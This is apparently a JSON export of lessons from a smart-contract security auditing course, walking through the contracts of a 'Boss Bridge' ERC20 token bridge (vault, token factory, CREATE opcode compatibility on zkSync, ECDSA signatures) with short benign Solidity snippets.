Attacks\" includes questions you might ask to verify a system is safe from this category of assault. Questions like: \"Are there any state changes after interaction with an external contract?\" guide the process strategically.\n\nThe checklist covers other types of attacks, such as:\n\n- Denial-of-Service\n- Griefing Attacks\n- Replay Attacks\n\nThe FAQ format ensures you’re doing your due diligence when evaluating a protocol. For example, under denial of service, you could inquire \"Is the withdrawal pattern followed to prevent denial of service?\" or scrutinize how the protocol manages tokens with blacklisting functionality – a point we have touched on before.\n\n## Making It Your Own\n\nOptimizing this checklist to suit your needs will help you make the most of it. You can do this by visiting the [Cyfrin GitHub audit checklist](https://github.com/Cyfrin/audit-checklist) and tweaking the JSON format to suit your preferences. The inclusion of your ideas not only makes the checklist more usable but also contributes to the creation of a collective knowledge base that benefits everyone.\n\n![](https://cdn.videotap.com/ndm5LlDWEj2Gnsr6ADqz-148.32.png)\n\n## Going Beyond the Given\n\nThe nature of our industry means the checklist isn’t definitive. New issues and challenges come up that might not be covered by the current framework.\n\nTherefore, this checklist remains a living document, one which requires continuous updating and refining. This could mean adding new issues to your list or making a pull request to include new questions that arise during the audit process.\n\n## Conclusion\n\nSo there it is, the Auditor's Checklist Method by Hans. The roadmap to auditing a project, checking off every potential security vulnerability, ensuring that the protocol follows best practices.\n\nRemember, the best use of this checklist comes not only from following it but also in reflecting upon its points and amalgamating your insights into it.\n\nHappy auditing!\n\n![](https://cdn.videotap.com/B8DVGbPuHxUALaBDmvYC-202.26.png)\n", + "updates": [] + }, + { + "lessonId": "925e54df-38a4-466f-8c04-b7cabf3f39ce", + "number": 5, + "title": "Docs", + "slug": "Docs", + "folderName": "5-Docs", + "description": "", + "duration": 2, + "videoUrl": "mq7UPZlyX1LE9euvtNg5ngqlXrbeIDpTrenEiqU0097I", + "rawMarkdownUrl": "/routes/security/7-bridges/5-Docs/+page.md", + "markdownContent": "---\ntitle: Docs\n---\n\n## \n\n# Bridging the Gap: Introducing Boss Bridge for ERC20 Tokens\n\n![](https://cdn.videotap.com/7JrqjCcxUyOafjUdWM9V-11.74.png)\n\n## How Does Boss Bridge Work?\n\nIn essence, the key function of our Boss Bridge is providing a pathway for users to deposit their tokens. Upon deposit, these tokens are stored securely in an L1 digital vault. The deposit event triggers a subsequent off-chain event which our mechanism discerningly picks up, parses it, and then mints the corresponding amount in L2.\n\n> Remember: The main goal here is ensuring user safety and security.\n\nThe first version of the bridge adheres strictly to this ideal and includes several security features.\n\n## Key Security Features\n\nThe current version of our Boss Bridge boasts multiple mechanisms aimed at enhancing the security of deposited tokens:\n\n1. The bridge owner has full authority to pause any operations during emergent situations.\n2. Account deposits are permissionless, but to avoid any potential abuse, we have imposed a strict limit on the number of tokens that can be deposited.\n3. All withdrawal requests must be approved by the bridge owner.\n\nWe are focused on continually improving this system, making it even safer and more secure with each update.\n\n![](https://cdn.videotap.com/DSoIzu6Rtt37d8MackPQ-55.77.png)\n\n## The Launch\n\nWe are preparing to launch our L1 Boss Bridge on both the Ethereum Mainnet and ZK Sync platforms. Initially, we will use only L1 tokens, or their duplicates, within the bridge system.\n\n**Please note**: At this early stage, other ERC20 tokens will not be supported, and their 'weirdness' is considered out of scope on withdrawals.\n\n## Withdrawal Process\n\nIn the context of withdrawals, the bridge operator holds the responsibility of signing each withdrawal request submitted by users. These requests are made on the L2 component of the bridge.\n\nEssential point to mention: For a successful withdrawal, our service will check that the account submitting a withdrawal previously initiated a successful deposit on the L1 part of the bridge.\n\n![](https://cdn.videotap.com/oRDUILrsz7wMudIoZwVx-76.32.png)\n\n## Making Sense of the Boss Bridge\n\nIf this seems a bit overwhelming, it is natural. This is where you might be getting the urge to delve into the protocol design, or you might want to explore the contract and draw up some diagrams on your own.\n\nIn either case, these are healthy steps toward understanding the mechanism better. For those willing to roll up their sleeves and create some diagrams, we encourage you to pause right here, grab your notebook, and start sketching. It's a great learning experience!\n", + "updates": [] + }, + { + "lessonId": "5328d856-613d-444a-9ecd-2a5955ae342e", + "number": 6, + "title": "Boss Bridge Diagram", + "slug": "boss-bridge-diagram", + "folderName": "6-boss-bridge-diagram", + "description": "", + "duration": 6, + "videoUrl": "ofSZi6DuGeL01HATXfvtjSBttM5Rejb9ABM38GJhi01hA", + "rawMarkdownUrl": "/routes/security/7-bridges/6-boss-bridge-diagram/+page.md", + "markdownContent": "---\ntitle: Boss Bridge Diagram\n---\n\n\n\n---\n\n# Understanding Bridges in Ethereum and ZK Sync with Audit Data\n\nHello, everyone! If you've been scrolling through the audit data section of our Git repo, you might have noticed a sketch of the L1-L2 Bridge structure used for transactions, meant to illustrate contract creation and token execution. Let's go through it together!\n\n## The Bridge Structure\n\n![](https://cdn.videotap.com/rIxjCdQQCX2uJutT8w6U-12.43.png)\n\nAs you can see from the image, on the left of this dotted line, we have contracts on the Layer One (L1), while on the right side you can see the contracts yet to be built -- for now, they are only imaginary. They will exist in the future on Layer Two (L2).\n\nThe L1 is where we focus most of our attention. Why? Because this is where we have the Tokenfactory.sol - a pivotal contract whose sole function is to deploy L1 tokens.\n\n### The Role of the Tokenfactory\n\nThe `tokenfactory.sol` is a simple and minimal contract. It's ownable, comes with mappings, and you'll notice it has just one function - `deployToken`. This function deploys a new ERC20 token contract, accepting the contract bytecode as input.\n\n```js\nfunction deployToken(bytes memory bytecode) public onlyOwner returns (address){\n return _deploy(bytecode);\n }\n```\n\nThough it is noteworthy that deploying any contract can be hazardous, we'll assume that the `tokenfactory.sol` will correctly hold a copy of the L1 token contract bytecode and not any malicious ERC20.\n\n> - _\"We should note that you can potentially deploy anything with `deployToken()`, which isn't ideal.\"_\n\nYes, as unsettling as it might sound, this token factory could technically deploy any contract. But bear in mind, this is an accepted caveat that was already addressed in the known issues section of the documentation. We will not dwell much on this, as it is within the scope of the project, and any other issue arising would fall out of scope.\n\n### L1 Token - The Bridge\n\nMoving on, we have the `L1Token.sol`. This is a very minimal L1 token with a max supply named Boss Bridge Token (BBT). Its sole purpose is to journey between the L1 and the L2. For instance, your L1 could be something like ETH, and the L2 might be ZKSync, or vice-versa.\n\n![](https://cdn.videotap.com/j1ojbfHNdYgSRmp6YI6u-111.91.png)\n\nIt is important to note that L1 entities will be present on both Ethereum and ZKSync irrespective of the labeling.\n\nThen we have the main contract known as `L1BossBridge.sol`, responsible for facilitating the core operations of the system.\n\n### L1BossBridge - The Main Contract\n\nThe `L1BossBridge.sol` contract has a substantial role and a few capabilities. It can pause and unpause, illustrating some centralized power. Most crucially, it permits users to deposit tokens to L2 and withdraw tokens from the L2 back to the L1.\n\n```js\nfunction sendToL2(address _l2Delegate, address _token, uint256 _amount, uint256 _l2Gas, bytes calldata _data) external whenNotPaused returns (bytes memory){\n /* (...rest of code...)*/\n}\n```\n\nThe `sendToL2()` function deposits token to L2. Once tokens are sent, they are locked into `L1Vault.sol`. This vault is relatively simple and doesn't really do much other than holding onto the L1 tokens approved by the Boss Bridge.\n\n### How Tokens Travel Between Layers\n\nWhen the Boss Bridge signals, the vault releases the tokens. This mechanism allows tokens to be sent from an L1 to an L2. In practice, if we send 10 tokens into the vault from the L1, these 10 tokens locked into the L1 vault aren't directly transferred to the L2.\n\nInstead, they are locked in another vault on the L2 side, triggering the system to release an equivalent number of tokens (in this case, 10) on the L2. This process of locking and releasing is observed and controlled by a centralized off-chain service.\n\nTo keep this a touch simpler and less technical, bridges usually work this way. You don't transmit tokens directly over the L1. Instead, you lock them into a vault, and the L2 produces an identical version of the token for you to use.\n\nThe final piece of this process involves tokens on L2 being relocked into the L2 vault. These Signers, the centralized units noteworthy for their crucial role, will approve the tokens to be unlocked on L1 again.\n\n```js\nfunction unlockL1(address _l2Delegate, address _token, uint256 _amount, bytes calldata _data) external whenNotPaused returns (bytes memory){\n /* (...rest of code...)*/\n }\n```\n\n### The Key Role of Signers\n\nSo these Signers are important because they see who's depositing to either layer and decide when to unlock or relock tokens. As valuable as this function is, it is also an embedded known issue with the protocol due to its centralized nature.\n\nOnce a token in L1 gets locked in the vault, it's liberated to roam in L2. Reversibly, when you lock it back into the L2 vault, Signers get a signal, and the tokens from L1 vault are released.\n\nI hope this makes sense. I hope this helps you understand how the bridge between layers work. If you have any further questions, feel free to drop a comment, and I'll be happy to help!\n", + "updates": [] + }, + { + "lessonId": "46830858-6899-4cd0-92df-d010c0f5e01c", + "number": 7, + "title": "L1 Token", + "slug": "l1-token", + "folderName": "7-l1-token", + "description": "", + "duration": 2, + "videoUrl": "00WrYIi3u4Z9LIA2sDFwZwl89mDkOh01B2Hy27VGy1gVQ", + "rawMarkdownUrl": "/routes/security/7-bridges/7-l1-token/+page.md", + "markdownContent": "---\ntitle: L1Token.sol\n---\n\n\n\n---\n\n# Diving Deep into the Trenches with Solidity Code\n\nToday, we are armed with an abundance of context, which provides us with a fortified understanding of what this code base embodies. Let's begin!\n\n## Invoking the \"Tincho\"\n\n![](https://cdn.videotap.com/KbfZIIwRu0i6v3I4hHUH-9.1.png)\n\nWe're going to invoke the Tincho method in our exploration - starting with the little ones and progressively getting bigger, like a well-ascended staircase of understanding. And don't worry, we'll make sure to go through a checklist at the end to ensure we've covered all bases.\n\n## Descending to the Code Depths\n\nOur first stop? The smallest code base in our array of documents. Hop onboard, as we open up the file for `Solidity metrics` and navigate towards the seemingly insignificant number seven, `L1Token.sol`. A little intimidating, isn’t it? But fear not, we’re just about to dive deep and decipher this \"Bad Larry\".\n\n## Finding the Unexpected in the Expected\n\nUpon inspecting `L1Token.sol`, we find quite a regular landscape - not particularly striking with nothing out of the ordinary. But let's not rush our judgment.\n\nWe're leveraging codes from `OpenZeppelin`. As veterans in this field, we’re well acquainted with `OpenZeppelin`.\n\n```js\nprivate constant initial_supply;\n```\n\nPrima facie, we encounter a private constant initial supply which seems appropriately allocated. It's multiplied by the decimal representation of ten - a magic number by a certain perspective but just a ten, hence, no alarm bells ringing.\n\n## Unravelling the Tests\n\nDiving deeper, we look for a deploy. Unfortunately, this section seems to be lacking a dedicated deployment component in its structure. There's a `token factory test`, but the sight of `L1Token` tests is scarce.\n\nBut wait, there's a silver lining! There are indeed a few tests conducted on the `L1Token`. For instance, we have a token transfer test.\n\nThis token is utilised in the transfer process, and it seems to deploy a brand-new token. Once again, nothing screams out of place - everything seems quite standard here.\n\n## Final Words\n\nAfter scrutinizing `L1Token.sol`, it appears quite compliant with standard solidity coding practices. Following the Tincho approach has led us to meticulously dissect this small piece of code, to such an extent, that we can confidently say - \"this looks fine\".\n\nContinuing on this journey, we will employ the same procedure to the next segment of the code. Embark on this journey with us as we delve into the eccentric and challenging world of software development, one line of code at a time.\n\n> \"The job of the coder is not just to code. It is to understand and then code.\" - Anonymous Developer\n", + "updates": [] + }, + { + "lessonId": "5ac83da6-7426-4962-99c5-4bf246942eff", + "number": 8, + "title": "Vault.sol", + "slug": "vault-sol", + "folderName": "8-vault", + "description": "", + "duration": 4, + "videoUrl": "J02cZ02Livh01JhXcYvw00hREKQILG00Qot4NRmW3Rj8m7To", + "rawMarkdownUrl": "/routes/security/7-bridges/8-vault/+page.md", + "markdownContent": "---\ntitle: Vault.sol\n---\n\n\n\n---\n\n# Dive into the L1 Vault of TokenBridge\n\nIn this post, we're going to explore the innards of the Layer 1 (L1) vault, a critical part of the TokenBridge, a network built for token transfers between different blockchain networks.\n\n## The Role of the L1 Vault\n\nTo kick things off, the L1 Vault is essentially a storage box for tokens. It holds tokens when they're not being used or transferred on either L1 or Layer 2 (L2) networks. When needed, these tokens can be unlocked to \"frolic and play\" on the L1 or L2 playgrounds.\n\n![](https://cdn.videotap.com/SPq2DMS4BIdTLOfpIdi6-22.67.png)\n\nLet's dive deeper into the vault itself.\n\n## An Introduction to L1 Vault Structure\n\nThe L1 Vault, as expected, is slightly larger in size but not too big to handle. The vault is 'ownable', meaning it can have designated owners - this could be an individual, a group, or another contract.\n\nThere's a descriptor (NatSpec) on top that indicates the author's identity - Boss Bridge. According to the NatSpec, the contract has two primary responsibilities: locking and unlocking tokens on the L1 or L2, and giving the green light to a bridge so it can move funds to and from this contract.\n\nThe owner of this contract, the note says, should ideally be a bridge.\n\nAnd this sparks off our first question: can we somehow tweak it so that the owner is not the bridge?\n\n## Deployment of the L1 Vault\n\nHowever, the folks at TokenBridge seem to be missing a deploy folder, which is definitely something worth mentioning. How would you deploy your contract without a deploys directory? This could certainly improve.\n\nWe then dig further into how they launch the vault. They've got an initiation sequence where the vault is equated to 'tokenbridge.vault’, which seems to suggest that the Boss bridge itself is deploying the vault.\n\nTaking a closer look at the L1 Boss Bridge, this assumption is confirmed - the 'vault' is a public, immutable value. It is set to be the 'vault' address during the deployment process, which means there is likely no failure-to-initialize issue here.\n\n## Understanding Ownership in the Contract\n\nNext, we come across the apparent fact that the L1 bridge is ownable. This isn't surprising. A constructor prepares an IERC20 token (a standard interface for tokens within smart contracts). It's worth noting that each vault seems to be working with one token and one bridge.\n\nThe constructor of the contract appears perfectly reasonable. The 'ownable' entity will be message.sender (which will be the Boss bridge). The core purpose of the `approveTo` function seems to be that the bridge is authorized to move funds in and out of the vault.\n\nHowever, one detail stands out - the approval isn't hardcoded to the bridge, but can potentially be granted to anything, which could pose a security risk.\n\n```js\n function ApproveTwo(address _target, uint256 _amount) external onlyOwner {\n Token.approve(_target, _amount);\n }\n```\n\nThese are some initial observations and insights on the L1 vault in the TokenBridge contract. Despite some minor concerns and potential areas for improvement, the contract seems to be well structured and efficient. Up next: exploring Solidity metrics and how they affect the contract.\n\n> \"Each vault works with one token. That's good to know.\"\n", + "updates": [] + }, + { + "lessonId": "a7b76821-b434-4f46-ad93-ae8be1a72ed8", + "number": 9, + "title": "Yul Opcodes", + "slug": "yul-opcodes", + "folderName": "9-yul-opcodes", + "description": "", + "duration": 2, + "videoUrl": "FTQ6is6V13NrQI623zRmb5GF1EkYtqHQRLsjdX6x1EA", + "rawMarkdownUrl": "/routes/security/7-bridges/9-yul-opcodes/+page.md", + "markdownContent": "---\ntitle: Yul & Opcodes Introduction\n---\n\n\n\n---\n\n# How to Inspect Solidity's Token Factory\n\nHey there! Ready to check out some code today? Awesome, let's do this. I hope you're as excited as I am. Let's first check our vault. Looking good! Our token also seems perfectly fine. Now, what’s next?\n\n## Token Factory Complexity Score\n\nThe next on our list is something with a complexity score of 23. It's the intriguing Solidity contract called `TokenFactory`. Referring to the title, the `TokenFactory` is designed to allow the owner to deploy new ERC20 contracts.\n\nFor clarification, a complexity score is a numerical value that represents the complexity of code. The higher the score, the more complex the code is. It’s a great tool for identifying areas in your software that could benefit from refactoring to simplify the code and make it easier to maintain.\n\n`TokenFactory` is intended to be deployed on both an L1 and L2 Ethereum layer. Sounds interesting, right?\n\nLet's dive deeper into this 'Token Factory' contract.\n\n![](https://cdn.videotap.com/N7h8lDL4ZkNHmMUJm92I-16.6.png)\n\n## Analyzing The Token Factory Contract\n\nAccording to the documentation, the `TokenFactory` allows you to deploy a new ERC20 contract by passing it a symbol and the byte code of the new token. The symbol and byte code represent the identity of the new token that we want to deploy.\n\nA portion of the code that specifically interests me is the assumption that this is going to be an L1 token byte code. Just the thought of this seems a tad scary.\n\nOne question pops in my head: \"Did they even test this assumption anywhere?\"\n\n![](https://cdn.videotap.com/SXAsB2ew8qmWRUaZnRI6-37.94.png)\n\n## Checking The Test Method\n\nAh! They did. I see that there is a `TokenFactory` test. Now, it’s critical to remember that we are assuming the test is accurate. Although tests can contain errors too, they give us a good sense of how the software behaves under certain conditions.\n\nWhile the complexity score was discomforting and the code adherence was quite scary to me, the presence of this test somehow eases the discomfort.\n\nHowever, there's a \"Q\" marked on the code here which means \"Query\". It marks a place where the reader has questions or doubts about the code. In this case, it might be fine, but it begs the question - \"Should this query be left out of scope?\"\n\nTo be blunt, there just seems to be some risky business here.\n\n## An Auditor’s Perspective\n\n“Are you sure you should leave this out of scope?”, I find myself asking. Even though the guidelines say it's okay to exclude this in a competitive audit, in a private audit, I would still strongly recommend addressing this.\n\n> \"You should really secure this code. There might be better ways to implement it.\"\n\nRemember, it's always crucial to double-check everything in your code, especially when it comes to security. Don't take things at face value.\n\nOne of the points that catch my attention is that it doesn't seem efficient. The byte code is stored in memory rather than in call data, which is less gas efficient. Maybe it would be better to refactor the token factory.\n\n![](https://cdn.videotap.com/DwK3ACMPJE6lTsWulD7x-71.14.png)\n\n## Final Thoughts\n\nDoes it all seem a bit scary? Absolutely. But keep in mind that it could also be an excellent opportunity to improve the code. The best code isn't always the most complex one, but the most secure and efficient.\n\nThe challenging but fun part is figuring out the best way to do this. It’s a never-ending journey of learning and discovery. So, let's learn and discover together!\n\nHappy coding!\n", + "updates": [] + }, + { + "lessonId": "736a476f-8947-4e49-b381-5335079ac4c7", + "number": 10, + "title": "Unsupported Opcodes", + "slug": "unsupported-opcodes", + "folderName": "10-unsupported-opcodes", + "description": "", + "duration": 11, + "videoUrl": "Olg01CRyrYZLhJCbyG4KBn9VIo6zvyswwLiSazYbVJxw", + "rawMarkdownUrl": "/routes/security/7-bridges/10-unsupported-opcodes/+page.md", + "markdownContent": "---\ntitle: Exploit - Unsupported Opcodes\n---\n\n\n\n---\n\n# Deep Dive into Assembly Blocks in Solidity\n\nWelcome to another exciting episode in our exploration of Solidity! Today, we're going to be deep-diving into an intriguing aspect of Solidity: Assembly Blocks. So get your coding gloves on and let's start this journey!\n\n## The Assembly Block: An Introduction\n\nAssembly blocks in Solidity offer us lower access level to the Ethereum Virtual Machine (EVM). Though not super low-level as there exists some level of abstraction in assembly (also known as Yul), assembly blocks provide a closer approach to working with EVM opcodes.\n\n![](https://cdn.videotap.com/kygHboewjVz29gEvJnFB-57.14.png)\n\n> \"Assembly in Solidity allows us closer access to the EVM, letting us perform opcodes that could potentially be unsafe.\"\n\nIn the course of this blog, we will be examining the use case of the `Create` opcode in assembly. The `Create` opcode in Yul can be researched further in the [Solidity documentation](https://docs.soliditylang.org/en/v0.8.9/yul.html).\n\n## Diving Into the Code: Exploring `Create` Opcode\n\nOn executing the `Create` opcode, it consumes a value of VPN. To understand the essence of VPN, we actually have to examine the columns at the beginning of the documentation. The explanation column reveals that our `Create` opcode will form a new contract with the specified code and consequently dispatch `Vwei` and return the fresh address. In the event that an error occurs, it returns zero.\n\nLet's now delve more into the assembly block where this opcode is being used. Within this block, the opcode is saying that the contract bytecode. Secondly, it will load the contract bytecode into memory and then proceed to instantiate a contract.\n\nIn programming using Solidity within the EVM, it's commonplace that almost any time you undertake something with contract deployment or variables or even literary reading, it's always necessary to load it into memory first.\n\n## The Nitty-Gritty Details: Loading into Memory\n\nSo how do we go about loading into memory? Fundamentally, you have to specify how much memory to load, from where, and to where. And anytime you're dealing with memory, you have to be very precise about your details.\n\n![](https://cdn.videotap.com/bZJqzJb0Ba8wN3UXX2mL-214.29.png)\n\nIn light of the specifications, it's safe to say that the first chunk of assembly we encounter returns an address. The purpose of the whole block is to create a contract and return the corresponding address.\n\n## The TokenFactory: Its Role and Significance\n\nDelving further, we discover that the token factory keeps track of all tokens it broadcasts. It also emits a token upon being deployed—an interesting feature! A function, `getTokenAddressFromSymbol`, is also present, but it doesn't seem to be used anywhere within the rest of the code.\n\n```js\nfunction getTokenAddressFromSymbol(string memory _symbol) public view returns (address){\n return s_TokenToAddress[_symbol];\n }\n```\n\nConsidering its lack of usage, this function could have likely been more effectively designated as external rather than public.\n\n## Launching a Check on the Opcode: The Checklist Approach\n\nAnd now we arrive at an essential checkpoint: the opcode checklist. By utilizing this checklist, one can discover fascinating things about the opcode. A surprisingly interesting question you might find is whether the `push0` Opcode is supported for Solidity versions above `0.8.20`.\n\nAnother question that pops up is the compatibility of EVM Opcodes and the protocol's operations across all target chains. It brings to mind the compatibility of the `Create` opcode with all our working chains.\n\n![](https://cdn.videotap.com/aypb7Nern5qzvXGaDMLH-385.71.png)\n\nTo unravel this puzzle, a practical step is to utilize the Solidity compiler, Solk, and see what we get after building the contracts and inspecting them. Sure enough, upon exploring the contracts, we will find the `Create` Opcode, which confirms its presence.\n\n## Checking Compatibility Levels: The Ethereum Mainnet and Zksync\n\nAs we've identified the opcode, we have to be sure about its compatibility with our working chains. Ethereum's mainnet is an assured pass, but what about Zksync?\n\nA quick dive into the [`Zksync documentation`](https://zksync.io/) clarifies things a lot. They have a comprehensive FAQ segment that explicates the difference between being 'EVM Compatible' and 'EVM Equivalent'.\n\n> \"EVM Equivalent means a given protocol supports every Opcode of the Ethereum EVM down to the bytecode. EVM Compatible means a percentage of the Ethereum EVM's Opcodes are supported.\"\n\nZksync is optimized to be EVM compatible and not EVM equivalent for a variety of reasons. However, this doesn't clarify the compatibility of the `Create` OpCode.\n\nDelving deeper, it becomes apparent that the EVM constructions `Create` and `Create2` on Zksync only work when the compiler is aware of the contract's bytecode beforehand. If the contract isn't aware of the bytecode prior to deployment, it will fail. This approach is strikingly similar to our example code—confirming its potential failure on Zksync.\n\n## Concluding Remarks: The Importance of Compatibility Checks\n\nThis discovery underscores the importance of thorough opcode compatibility checks across all working chains. In fact, there was a well-documented instance of 921 ETH being stuck in a Zksync contract because the transfer function failed.\n\nJust a little foresight to check compatibility would have saved this massive loss! This real-life scenario serves as a solemn reminder of how vital it is always to consider EVM compatibility in our code implementations.\n\nIn conclusion, whenever you embark on security reviews or contract deployments, always remember to refer to your safety checklist. Going through such a checklist not only helps you find hidden oddities but also ensures you're on the safer side of things.\n\nIn all, remember that the devil is in the details. Happy programming!\n", + "updates": [] + }, + { + "lessonId": "4b7147fc-142c-4dfc-9f3b-891516b97a0e", + "number": 11, + "title": "BossBridge", + "slug": "bossbridge", + "folderName": "11-bossbridge", + "description": "", + "duration": 3, + "videoUrl": "AxU02OpN3bg4XyqKb6CCFmU5OC7BDkz00bffaN7UwPoR8", + "rawMarkdownUrl": "/routes/security/7-bridges/11-bossbridge/+page.md", + "markdownContent": "---\ntitle: BossBridge.sol\n---\n\n\n\n---\n\n# Analyzing and Making Sense of the Boss Bridge\n\nWelcome to another deep dive into the world of blockchain code! Amidst our adventures, we stumbled upon a complex and intriguing beast known as the Boss Bridge. Now it's time to give it a thorough examination. So, let's grab our diving gear, get comfortable and leap straight into the code!\n\n## A Brief Introduction\n\nThe Boss Bridge doesn't have a lot of code, but don't let that mislead you. It's petite stature hides a heart of complex code. We'll deconstruct it piece by piece, so by the end, you're familiar with each line and what it does.\n\n## Code Inspection: Pragma and Imports\n\nFirst off, the top of our file is home to a list of imports and a `pragma solidity` statement, versioned at 0.8.20. That seems up-to-date, which is a good start!\n\n```js\npragma solidity 0.8.20;\n```\n\nMoving on to the imports, we have OpenZeppelin taking up a good portion of the space. As a tried and tested library thoroughly reviewed for security, it's always reassuring to see it.\n\nNext, we have a couple of new imports; namely the `ReentrancyGuard`, `Message`, `HashUtils`, and `ECDSA`. These might not be as familiar as OpenZeppelin, but they're equally important. Here's a closer look at a couple of them.\n\n## Reinforcing the Code with ReentrancyGuard and Understanding Pausable\n\n_Disclaimer:_ This is where it's about to get technical.\n\n### Pausable\n\nFirst up is `Pausable`. As the name suggests, it allows the addition of an emergency stop mechanism to your contracts.\n\n```js\nimport \"@openzeppelin/contracts/security/Pausable.sol\";\n```\n\nIt provides modifiers like `whenNotPaused` and `whenPaused` along with `pause` and `unpause` functions.\n\nThe intriguing part is that certain functionality works only when `whenNotPaused` is in effect. Like any responsible coder, I checked whether there's a way to pause the contract by running forge.\n\nGood news: We do have a pause function in here!\n\n### ReentrancyGuard\n\nNext, let's take on `ReentrancyGuard`. It's a fabulous guard against reentrancy attacks.\n\n```js\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\n```\n\nThrough the use of a clever system it calls \"mutex locks,\" it ensures that your functions stay clear of reentrancy mischief. It does this by using `nonReentrant`, `nonReentrantBefore`, and `nonReentrantAfter` modifiers.\n\nEssentially, it places a lock onto your function, ensuring that there are no repeated entries during its execution, which could lead to reentrancy attacks.\n\nIn our `BossBridge` contract, the `sendToL1` function is guarded by `nonReentrant`, keeping it safe from potential threats.\n\n## Conclusion\n\nWe made some solid discoveries in our examination of the Boss Bridge's code. We managed to identify important aspects such as the use of the `Pausable` and `ReentrancyGuard` components, as well as confirmed the availability of the `pause` function.\n\nKeep coding and exploring, blockchain adventurers! I'll join you in the next deep-dive session.\n\n> _\"Any fool can write code that a computer can understand. Good programmers write code that humans can understand.\"_ - Martin Fowler.\n", + "updates": [] + }, + { + "lessonId": "81494f55-5d9c-48cf-848d-fe09ad1fc05f", + "number": 12, + "title": "Signatures", + "slug": "signatures", + "folderName": "12-signatures", + "description": "", + "duration": 6, + "videoUrl": "1ZNP8H02sscgO0000O02b00I19008ik4oDgK2yZXmp02V6fzwM", + "rawMarkdownUrl": "/routes/security/7-bridges/12-signatures/+page.md", + "markdownContent": "---\ntitle: Signatures Introduction\n---\n\n\n\n---\n\n# Deep Dive into Message Hash Utils: A guide to Signature Message Hash Utilities in Blockchain\n\nIn this post, we're going to delve into signature message hash utilities which are used to produce digests to be consumed by Elliptic Curve Digital Signature Algorithm (ECDSA) for recovery or signing. If you're new to blockchain technology, it might all sound like Greek mythology, but worry not. We're going back to basics - courtesy of the [Anders Brownworth Blockchain demo](https://andersbrownworth.com/blockchain).\n\n## Understanding the Blockchain Demo\n\nAnders Brownworth has created a simple, yet intuitive public-private key demo that has been of great educational help in understanding blockchain better. Unfortunately, the demo has recently been taken down but, the good news is you can find it on [GitHub](https://github.com/anders94/public-private-key-demo).\n\nA simple `git clone` will get you started but ensure that you have node JS installed beforehand.\n\n```bash\ngit clone https://github.com/anders94/public-private-key-demo\ncd public-private-key-demo\nnpm install\n./bin/www\n```\n\nYou're now successfully running the blockchain demo on your local machine! Visit `localhost` on your web browser while the server is still running and TADA, behold the blockchain demo.\n\n## Unraveling Signatures\n\n> \"Signature is a process where a private key is combined with a message to create a unique message signature. The process verifies that the public key and the message match the signature.\"\n\nThis process of signing transactions with private keys is how blockchain works.\n\nExample: When we operate digital wallets, like MetaMask, and make transactions using Ethereum, we sign these transactions and send these signed messages onto the blockchain. Other blockchain nodes verify these messages.\n\nIn the blockchain demo, you can generate a pair of private and public keys. Sign a message using your private key and visually follow the entire process.\n\n![](https://cdn.videotap.com/I31ISMCAE8CABrMXYyaq-89.18.png)\n\n## Exploring Message Hash Utils\n\n`MessageHashUtils` might look a bit confusing, but it's an effort to standardize the messages and hashes in the Ethereum blockchain transactions. Some Ethereum Improvement Proposals (EIPs) have been introduced to enhance this.\n\nThe first one to consider is `ERC-191`, a standard for signed data, and is specifically targeted for signed data in Ethereum Smart contracts. The motive behind this was to establish a common format for all signed data.\n\n![](https://cdn.videotap.com/7kCHT85kigZxan9r7aki-109.png)\n\nAccording to `ERC-191`, the data is arranged in the following manner:\n\n- The start of the signed data is marked by `0x19` (1 byte)\n- It's followed by ‘version specific’ data (1 byte)\n- Additionally, the generic data to sign\n\nThe next version is the `EIP-712` or the structured data, which we will discuss in details in the later part of this blog.\n\nFor the signed data, all signatures in blockchain comprise of `r, s, and v` parameters.\n\nLet's see an example using Solidity `0.8.0`.\n\n```js\nfunction execute(address target,uint256 nonce,bytes memory payload,uint8 v,bytes32 r,bytes32 s) public {\n bytes memory data = abi.encode(target,nonce,keccak256(payload),msg.sender);\n bytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\",DOMAIN_SEPARATOR,keccak256(data)));\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(recoveredAddress == msg.sender,\"Invalid signature\");\n (bool success,) = target.call(payload);\n require(success, \"Execution failed.\");}\n```\n\nIn the code above, `r`, `s`, and `v` are components of the signed data. In order to verify who signed this message, you can use a precompiled function known as `ecrecover`. The `ecrecover` function takes in the parameters `v`, `r`, and `s` and returns the address that was used to sign the hash. The example above checks if the recovered address matches the sender's address, indicating that the sender indeed signed the bytes.\n\nThe function of `ecrecover` is to identify the signer of the hash, i.e, who signed the data. This function is instrumental in Solidity contracts because it helps verify if a certain person signed something.\n\n## Wrapping it up\n\nIn conclusion, message hash utilities are used to enhance transparency and uniformity in signing messages and contracts in the Ethereum blockchain. We also explored how Solidity's `ecrecover` function can be used to identify the signer of data. This essentially aids in the process of verification of a signed contract, thus adding another layer of trust and security to the blockchain technology.\n", + "updates": [] + }, + { + "lessonId": "db5df59f-e075-4e05-b165-d7e649cedc6b", + "number": 13, + "title": "Signatures Summarized", + "slug": "signatures-summarized", + "folderName": "13-signatures-summarized", + "description": "", + "duration": 1, + "videoUrl": "XzLvDRREawshom6LTDaRubvu1fEEbMx00zSFWhGOAju8", + "rawMarkdownUrl": "/routes/security/7-bridges/13-signatures-summarized/+page.md", + "markdownContent": "---\ntitle: Signatures Summarized\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Decoding Cryptographic Signing: Private Keys, Messages, and Signature Verification\n\nIf you're taking your first steps into the world of blockchain or cryptography, you've probably stumbled across the terms private key, messages, digital signatures, etc. In this blog post, we'll break down the fascinating process of signing messages using private keys. No worry if these terms seem to be Greek to you right now, all will get clearer as you read further.\n\n## What Does Signing Messages Actually Mean?\n\nWhen we refer to 'signing' in the context of blockchain and cryptography, we're talking about a process by which we authenticate messages on the blockchain using a private key. It's a crucial aspect of data and transaction security.\n\nNow you might ask, what does signing a message involve and how does it work? Let's break it down a bit.\n\n> Initially, the process starts with two distinct elements: a private key and a message.\n\n![](https://cdn.videotap.com/1RO5OQCrdWw5Vd9SjdCN-14.67.png)\n\nThe content of the messages we refer to usually includes data elements like function signatures, function selectors, parameters, etc.\n\n### The Magic Box: The Elliptic Curve Digital Signature Algorithm\n\nThese components, the private key and message, are then pushed into a fascinating 'algorithmic machine' known as the Elliptic Curve Digital Signature Algorithm (ECDSA). Now, unless you're deeply interested in cryptography, you probably don't need to understand the complex math behind it.\n\nHence, you can imagine the ECDSA as a magic box, a black box if you will. If you're curious about the inner mechanisms of this 'black box', I highly recommend a deep dive into the Elliptic Curve Cryptography- an excellent starting point could 